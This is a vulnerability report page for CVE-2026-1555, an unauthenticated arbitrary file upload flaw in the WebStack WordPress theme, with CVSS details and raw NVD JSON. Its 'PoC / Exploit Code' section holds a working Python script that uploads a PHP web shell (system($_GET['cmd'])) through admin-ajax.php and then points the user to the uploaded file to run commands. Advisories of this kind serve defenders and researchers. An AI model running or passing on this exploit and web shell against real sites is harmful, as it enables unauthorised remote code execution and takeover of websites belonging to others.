Security Vulnerability Report
中文
CVE-2026-1555 CVSS 9.8 CRITICAL

CVE-2026-1555

Published: 2026-04-15 04:17:34
Last Modified: 2026-04-22 20:23:16

Description

The WebStack theme for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the io_img_upload() function in all versions up to, and including, 1.2024. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WebStack <= 1.2024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" shell_filename = "shell.php" # Vulnerable action parameter based on the function name io_img_upload payload_data = { "action": "io_img_upload" } # Malicious PHP file content files = { "file": (shell_filename, "<?php phpinfo(); system($_GET['cmd']); ?>", "application/octet-stream") } try: response = requests.post(target_url, data=payload_data, files=files) if response.status_code == 200: # Note: The response usually contains the path to the uploaded file or a relative URL print("[+] File upload request sent successfully.") print("[+] Response:", response.text) # Attempt to access the uploaded shell (Path needs to be extracted from response or guessed) # Example guess: /wp-content/uploads/2026/04/shell.php print("[+] Try accessing the uploaded file to execute code.") else: print("[-] Upload failed.") print(response.text) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1555", "sourceIdentifier": "[email protected]", "published": "2026-04-15T04:17:33.600", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WebStack theme for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the io_img_upload() function in all versions up to, and including, 1.2024. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/owen0o0/WebStack/blob/master/inc/ajax.php#L5", "source": "[email protected]"}, {"url": "https://github.com/owen0o0/WebStack/tree/master", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b97805de-1b47-4c9f-baae-2e37c1b78570?source=cve", "source": "[email protected]"}]}}